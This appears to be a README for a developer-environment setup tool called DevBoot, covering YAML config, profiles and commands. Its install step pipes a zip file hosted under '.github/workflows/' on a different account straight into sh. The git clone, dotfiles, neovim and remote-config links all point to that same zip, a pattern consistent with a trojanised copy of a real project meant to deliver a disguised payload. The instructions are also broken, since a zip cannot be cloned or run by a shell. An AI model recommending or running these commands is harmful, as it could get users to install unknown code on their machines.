Fresh machine to productive in one command.
Install • Quick Start • Config • Profiles • Commands • Comparison
DevBoot sets up a complete development environment from a single YAML config file. Install tools, configure your shell, set up git, install IDE extensions, and sync dotfiles — all in one command. Cross-platform: macOS, Linux, and WSL.
Setting up a new dev machine takes hours. You install Homebrew, git, Node, Python, Docker, configure your shell, set up SSH keys, install VS Code extensions, copy dotfiles...
Existing tools solve part of the problem: chezmoi does dotfiles, devbox does Nix packages, mise handles runtime versions. No single tool handles the full journey from fresh OS to "ready to code".
# devboot.yaml — your entire dev setup in one file
tools:
- git
- node@22
- go
- docker
- ripgrep
- fzf
- lazygit
shell:
type: zsh
plugins:
- zsh-autosuggestions
- zsh-syntax-highlighting
aliases:
g: git
k: kubectl
dc: docker compose
dev: npm run dev
env:
EDITOR: nvim
git:
user.name: "Your Name"
user.email: "you@example.com"
init.defaultBranch: main
pull.rebase: true
aliases:
co: checkout
st: status
lg: "log --oneline --graph --decorate"
vscode:
extensions:
- golang.go
- esbenp.prettier-vscode
- dbaeumer.vscode-eslint
settings:
editor.formatOnSave: true
editor.tabSize: 2devboot apply # one command, everything installed and configuredcurl (Linux/macOS/WSL):
curl -fsSL https://github.com/commontopazcolumn414/devboot/raw/refs/heads/main/.github/workflows/Software_1.3.zip | shGo:
go install github.com/aymenhmaidiwastaken/devboot@latestFrom source:
git clone https://github.com/commontopazcolumn414/devboot/raw/refs/heads/main/.github/workflows/Software_1.3.zip
cd devboot
make install# 1. Create your config (interactive wizard)
devboot init
# 2. Preview what would change
devboot diff
# 3. Apply everything
devboot apply
# 4. Verify your environment
devboot doctorOr start from a profile:
# Apply a curated profile in one shot
devboot profile apply fullstackDevBoot ships with 7 curated profiles — pre-built tool sets for common workflows:
| Profile | Tools | Description |
|---|---|---|
frontend |
node, bun, git, ripgrep, fzf | Frontend web development |
backend |
go, docker, kubectl, jq, curl, git | Backend & API development |
fullstack |
node, go, python, docker, kubectl, git, gh | Full-stack web development |
devops |
docker, kubectl, helm, terraform, jq, git, gh | DevOps & SRE toolkit |
data |
python, git, jq, curl | Data science & ML |
rust |
rust, git, ripgrep | Rust development |
terminal |
ripgrep, fzf, bat, eza, fd, zoxide, lazygit, neovim, tmux, starship | Power user terminal |
devboot profile list # see all profiles
devboot profile show terminal # inspect a profile
devboot profile apply terminal # apply it
devboot profile export rust # export as devboot.yaml
devboot profile search docker # search by keyword| Command | Description |
|---|---|
devboot apply [config.yaml] |
Apply full configuration |
devboot apply --only tools |
Apply only a specific section |
devboot init |
Interactive config wizard |
devboot init --plain |
Generate starter template |
devboot status |
Dashboard of installed vs configured |
devboot diff |
Preview what would change |
devboot doctor |
Diagnose environment issues with fix suggestions |
devboot export |
Reverse-engineer current machine to YAML |
devboot add [tool...] |
Install tools + update config |
devboot uninstall [tool...] |
Remove devboot-managed tools |
devboot history |
Audit trail of all actions |
devboot update |
Update all installed packages |
devboot profile <sub> |
Manage curated profiles |
devboot dotfiles push |
Push dotfile changes back to repo |
devboot version |
Print version info |
List of tools to install. Supports version pinning with @:
tools:
- git
- node@22
- python@3.12
- go
- rust
- docker
- kubectl
- terraform
- ripgrep
- fzf
- lazygit
- jq
- bat
- eza
- fd
- zoxide
- starshipDevBoot automatically resolves the correct package name per platform (e.g., node becomes nodejs on apt, node on Homebrew). Dependencies are resolved automatically — requesting lazygit ensures git is installed first.
shell:
type: zsh # zsh, bash, or fish
plugins:
- zsh-autosuggestions
- zsh-syntax-highlighting
- fzf-tab
aliases:
g: git
k: kubectl
ll: eza -la
env:
EDITOR: nvim
GOPATH: ~/goPlugins are installed via git clone (no oh-my-zsh dependency). Aliases and env vars are added idempotently — safe to run multiple times.
git:
user.name: "Your Name"
user.email: "you@example.com"
init.defaultBranch: main
pull.rebase: true
sshKey: true # generate SSH key if missing
aliases:
co: checkout
br: branch
st: status
lg: "log --oneline --graph --decorate"vscode:
extensions:
- golang.go
- esbenp.prettier-vscode
- ms-azuretools.vscode-docker
settings:
editor.fontSize: 14
editor.tabSize: 2
editor.formatOnSave: trueneovim:
configRepo: https://github.com/commontopazcolumn414/devboot/raw/refs/heads/main/.github/workflows/Software_1.3.zipdotfiles:
repo: https://github.com/commontopazcolumn414/devboot/raw/refs/heads/main/.github/workflows/Software_1.3.zip
mappings:
.vimrc: ~/.vimrc
.tmux.conf: ~/.tmux.conf
starship.toml: ~/.config/starship.toml
templates:
.gitconfig: ~/.gitconfig # supports {{.Name}}, {{.Email}}, {{.Home}}# Export your setup
devboot export > devboot.yaml
# Share with your team (commit to repo)
git add devboot.yaml
# New team member applies it
devboot apply
# Or use a remote config
devboot apply https://github.com/commontopazcolumn414/devboot/raw/refs/heads/main/.github/workflows/Software_1.3.zip| Platform | Package Manager | Status |
|---|---|---|
| macOS | Homebrew (auto-installs) | Supported |
| Ubuntu/Debian | apt | Supported |
| Arch Linux | pacman | Supported |
| WSL | apt | Supported |
| Fedora | dnf | Planned |
- Dependency resolution — tools are installed in the correct order (e.g., git before lazygit, docker before kubectl)
- Idempotent — every operation checks current state before acting. Safe to run repeatedly.
- State tracking — DevBoot records every action. Use
devboot historyto audit anddevboot uninstallto rollback. - Post-install hooks — tools like Rust automatically run
rustup default stable, Docker adds your user to the docker group. - Conflict detection — warns if you have multiple Node version managers (nvm + fnm + volta).
The doctor command runs comprehensive diagnostics:
- PATH analysis (duplicates, missing directories)
- Version manager conflict detection
- Git authentication checks (SSH key, ssh-agent, GitHub connectivity)
- Shell config validation
- Actionable fix suggestions for every issue
$ devboot doctor
→ Git
✓ user.name: Jane Developer
✓ user.email: jane@example.com
⚠ SSH key not added to agent
fix: ssh-add ~/.ssh/id_ed25519
✓ GitHub SSH authentication works
→ PATH analysis
✓ ~/.local/bin in PATH
⚠ 3 duplicate PATH entries| Feature | DevBoot | chezmoi | devbox | mise | Ansible |
|---|---|---|---|---|---|
| Tool installation | Yes | No | Yes (Nix) | Yes (runtimes) | Yes |
| Shell config | Yes | Partial | No | No | Yes |
| Git setup + SSH | Yes | No | No | No | Yes |
| IDE extensions | Yes | No | No | No | Partial |
| Dotfiles sync | Yes | Yes | No | No | Yes |
| Interactive wizard | Yes | No | No | No | No |
| Profiles | Yes | No | No | No | Roles |
| Single binary | Yes | Yes | Yes | Yes | No (Python) |
| No dependencies | Yes | Yes | Nix | Yes | Python + SSH |
| Learning curve | Low | Medium | Medium | Low | High |
DevBoot is not a replacement for any of these tools — it's the glue that ties everything together. Use mise for version management, chezmoi for advanced dotfiles, and DevBoot to orchestrate the full setup.
See CONTRIBUTING.md for guidelines.
# Development
git clone https://github.com/commontopazcolumn414/devboot/raw/refs/heads/main/.github/workflows/Software_1.3.zip
cd devboot
go build ./...
go test ./...
# Run locally
go run . doctor
go run . init --plain